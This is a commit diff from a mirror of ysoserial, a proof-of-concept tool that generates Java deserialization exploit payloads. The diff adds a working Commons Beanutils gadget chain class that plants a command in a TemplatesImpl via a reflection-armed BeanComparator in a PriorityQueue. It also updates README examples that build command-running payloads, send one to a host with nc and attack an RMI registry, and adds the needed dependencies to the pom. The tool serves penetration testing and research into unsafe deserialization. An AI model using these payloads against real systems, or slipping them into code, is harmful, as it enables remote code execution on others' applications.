mirror of
https://github.com/frohoff/ysoserial.git
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added beanutils gadget chain, release 0.0.4
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@@ -7,8 +7,8 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
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## Description
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## Description
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Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/).
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Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
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Updated to include a [JRE <= 1.7u21 gadget chain](https://gist.github.com/frohoff/24af7913611f8406eaf3).
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Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
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__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
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__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
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libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
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libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
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@@ -29,10 +29,11 @@ are not responsible or liable for misuse of the software. Use responsibly.
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## Usage
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## Usage
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```shell
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```shell
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$ java -jar ysoserial-0.0.3-all.jar
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$ java -jar target/ysoserial-0.0.4-all.jar
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Y SO SERIAL?
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Y SO SERIAL?
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Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
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Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
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Available payload types:
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Available payload types:
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CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
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CommonsCollections1 [commons-collections:commons-collections:3.1]
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CommonsCollections1 [commons-collections:commons-collections:3.1]
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CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
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CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
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CommonsCollections3 [commons-collections:commons-collections:3.1]
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CommonsCollections3 [commons-collections:commons-collections:3.1]
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@@ -45,7 +46,7 @@ Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute
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## Examples
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## Examples
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```shell
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```shell
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$ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
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$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
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0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
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0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
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0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
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0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
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0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
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0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
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@@ -54,10 +55,10 @@ $ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
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0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
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0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
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0000570: 0078 7071 007e 003a .xpq.~.:
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0000570: 0078 7071 007e 003a .xpq.~.:
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$ java -jar ysoserial-0.0.3-all.jar Groovy1 calc.exe > groovypayload.bin
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$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
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$ nc 10.10.10.10 < groovypayload.bin
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$ nc 10.10.10.10 < groovypayload.bin
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$ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
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$ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
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```
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```
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## Installation
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## Installation
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@@ -4,7 +4,7 @@
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<groupId>ysoserial</groupId>
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<groupId>ysoserial</groupId>
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<artifactId>ysoserial</artifactId>
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<artifactId>ysoserial</artifactId>
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<version>0.0.3-SNAPSHOT</version>
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<version>0.0.4</version>
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<packaging>jar</packaging>
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<packaging>jar</packaging>
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<name>ysoserial</name>
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<name>ysoserial</name>
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@@ -101,16 +101,16 @@
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<artifactId>commons-collections</artifactId>
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<artifactId>commons-collections</artifactId>
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<version>3.1</version>
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<version>3.1</version>
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</dependency>
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</dependency>
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<dependency>
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<groupId>commons-beanutils</groupId>
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<artifactId>commons-beanutils</artifactId>
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<version>1.9.2</version>
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</dependency>
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<dependency>
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<dependency>
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<groupId>org.apache.commons</groupId>
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<groupId>org.apache.commons</groupId>
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<artifactId>commons-collections4</artifactId>
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<artifactId>commons-collections4</artifactId>
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<version>4.0</version>
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<version>4.0</version>
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</dependency>
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</dependency>
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<dependency>
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<groupId>org.apache.commons</groupId>
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<artifactId>commons-lang3</artifactId>
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<version>3.1</version>
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</dependency>
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<dependency>
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<dependency>
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<groupId>org.codehaus.groovy</groupId>
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<groupId>org.codehaus.groovy</groupId>
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<artifactId>groovy</artifactId>
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<artifactId>groovy</artifactId>
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@@ -0,0 +1,44 @@
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package ysoserial.payloads;
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import java.math.BigInteger;
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import java.util.PriorityQueue;
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import org.apache.commons.beanutils.BeanComparator;
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import ysoserial.payloads.annotation.Dependencies;
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import ysoserial.payloads.util.Gadgets;
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import ysoserial.payloads.util.PayloadRunner;
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import ysoserial.payloads.util.Reflections;
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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
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@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
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@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
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public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
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public Object getObject(final String command) throws Exception {
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final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
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// mock method name until armed
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final BeanComparator comparator = new BeanComparator("lowestSetBit");
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// create queue with numbers and basic comparator
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final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
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// stub data for replacement later
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queue.add(new BigInteger("1"));
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queue.add(new BigInteger("1"));
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// switch method called by comparator
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Reflections.setFieldValue(comparator, "property", "outputProperties");
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// switch contents of queue
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final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
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queueArray[0] = templates;
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queueArray[1] = templates;
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return queue;
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}
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public static void main(final String[] args) throws Exception {
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PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
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}
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}
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